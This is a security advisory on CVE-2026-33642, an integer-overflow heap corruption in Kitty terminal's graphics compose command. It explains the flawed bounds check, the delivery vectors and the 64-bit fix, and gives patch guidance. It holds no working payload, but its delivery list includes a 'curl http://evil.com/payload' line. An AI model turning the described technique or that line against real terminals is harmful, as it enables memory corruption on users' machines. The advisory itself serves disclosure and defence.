Kitty Terminal CVE-2026-33642: Overview of a Zero Interaction Heap Corruption via Integer Overflow in Graphics Protocol

Introduction

A single crafted escape sequence written to a Kitty terminal window can trigger a heap buffer over-read or over-write with no user interaction, no special configuration, and no elevated privileges. CVE-2026-33642 has a CVSS score of 9.9, which makes it one of the more severe terminal emulator vulnerabilities disclosed this year. It affects anyone who uses Kitty to view files, connect to SSH servers, or pipe command output.

Kitty is a cross-platform, GPU-accelerated terminal emulator developed by Kovid Goyal. It has a substantial user base among developers and power users on Linux, macOS, and BSD systems, who value its performance, custom graphics protocol, ligature support, and deep scriptability. Many engineers use Kitty as their daily driver, so a vulnerability that triggers when the terminal displays output has a wide and immediate blast radius.

Technical Information

Root Cause: Unsigned 32-bit Integer Overflow in Bounds Validation

The vulnerability is in the handle_compose_command() function in kitty/graphics.c. This function handles compose operations in Kitty's graphics protocol, which compose (blit) rectangles from one image frame onto another. The bug is in how the function stored and validated offset and dimension values before using them in bounds checks.

Before the fix, the function declared six local variables as unsigned int (32-bit):

const unsigned int width = g->width ? g->width : img->width;
const unsigned int height = g->height ? g->height : img->height;
const unsigned int dest_x = g->x_offset, dest_y = g->y_offset,
                   src_x = g->cell_x_offset, src_y = g->cell_y_offset;

It then ran a bounds check like this:

if (dest_x + width > img->width || dest_y + height > img->height)

Every operand in dest_x + width is a 32-bit unsigned integer, so a crafted graphics compose command with large offset or dimension values can make the addition wrap around. For example, if dest_x is 0xFFFFFF00 and width is 0x200, the sum dest_x + width overflows to 0x100, a tiny value that incorrectly passes the bounds check. compose_rectangles() then uses the unchecked offset in pointer arithmetic, and the heap pointer lands approximately 4 GB past the allocated buffer.

This maps to three CWE classifications: CWE-190 (Integer Overflow or Wraparound), CWE-787 (Out of Bounds Write), and CWE-125 (Out of Bounds Read).

Attack Flow

The attack needs no user interaction and no non-default configuration. The attacker only has to be able to produce output in a Kitty terminal window. Step by step:

1. The attacker crafts a graphics protocol escape sequence containing a compose command, with x_offset and y_offset values chosen so that adding them to the image dimensions overflows an unsigned 32-bit integer.
2. The escape sequence reaches the victim's Kitty terminal. Delivery vectors include:
   • Viewing a malicious file (e.g., cat image_spec.bin)
   • Connecting to an SSH server with a crafted login banner (/etc/motd)
   • Piping HTTP responses (e.g., curl http://evil.com/payload)
   • Tailing application logs (tail -f /var/log/app.log)
   • Receiving forwarded output through terminal multiplexers like tmux or screen
3. Kitty's handle_compose_command() processes the escape sequence. The 32-bit arithmetic in the bounds check wraps around, and the malicious values pass validation.
4. The compose_rectangles() function uses the unchecked offsets in pointer arithmetic and accesses heap memory far outside the allocated image buffer.
5. Depending on the memory layout, the result is a heap buffer over-read, a heap buffer over-write, or an application crash (SIGBUS).

CVSS v3.1 Breakdown

The "Changed" scope means that, in the terminal emulator context, exploitation can affect resources beyond the vulnerable component itself.

Patch Information

Kitty maintainer Kovid Goyal fixed the vulnerability in commit e9661f0f3afb4e4dbffa509adfb3df3c9780ad34, authored on 2026-03-22. The fix shipped in Kitty version 0.47.0, released 2026-05-19. The official changelog entry reads: "Graphics protocol: Fix crash when handling invalid offset values in graphics compose commands (CVE 2026-33642)."

The fix is elegant and minimal, just 4 added lines and 3 deletions. It widens the six local variables from unsigned int to uint64_t:

// Before (vulnerable):
const unsigned int width = g->width ? g->width : img->width;
const unsigned int height = g->height ? g->height : img->height;
const unsigned int dest_x = g->x_offset, dest_y = g->y_offset,
                   src_x = g->cell_x_offset, src_y = g->cell_y_offset;

// After (fixed):
// Use uint64_t to avoid overflow when testing for validity.
// All dimensions are 32bit numbers.
const uint64_t width = g->width ? g->width : img->width;
const uint64_t height = g->height ? g->height : img->height;
const uint64_t dest_x = g->x_offset, dest_y = g->y_offset,
               src_x = g->cell_x_offset, src_y = g->cell_y_offset;

With 64-bit variables, dest_x + width can never overflow, because both inputs are at most 32-bit values and their sum fits comfortably in a 64-bit integer. The existing bounds check (dest_x + width > img->width) then works correctly for every possible input, with no risk of wraparound. This is a well-known defense against integer overflow in bounds checks: do the arithmetic in a wider type than the input data.

Version guidance note: The initial GitHub Security Advisory (GHSA-qfgm-2c64-6x3x) lists version 0.46.3 as a patched release, but the official CVE record and the Kitty changelog explicitly state that the issue is fixed in version 0.47.0. Organizations should standardize on 0.47.0 as the safe baseline.

Anyone maintaining a fork or carrying downstream patches needs to backport commit e9661f0 exactly. Users who cannot patch immediately should temporarily avoid using Kitty to view untrusted logs, connect to untrusted SSH servers, or cat unknown binary files.

Affected Systems and Versions

All versions of Kitty 0.46.2 and below are affected. The vulnerable handle_compose_command() function in kitty/graphics.c is part of the graphics protocol implementation, which is present on all supported platforms:

• Linux (all distributions packaging Kitty <= 0.46.2)
• macOS (confirmed crash on ARM64 with Kitty 0.46.2 stable)
• BSD systems running Kitty <= 0.46.2

The default Kitty configuration is vulnerable. Exploitation needs no non-default settings and no special features.

The fixed version is 0.47.0.

Vendor Security History

The Kitty project does not issue security-specific releases. Security bugs ship alongside ordinary bug fixes and feature updates. Organizations that rely on Kitty cannot wait for a separately labeled security patch. They have to track upstream releases to stay current on security fixes.

References

• NVD: CVE-2026-33642
• CVE Record: CVE-2026-33642
• GitHub Security Advisory: GHSA-qfgm-2c64-6x3x
• Fix Commit: e9661f0f3afb4e4dbffa509adfb3df3c9780ad34
• Kitty Changelog
• Kitty Official Site
• Kitty Security Policy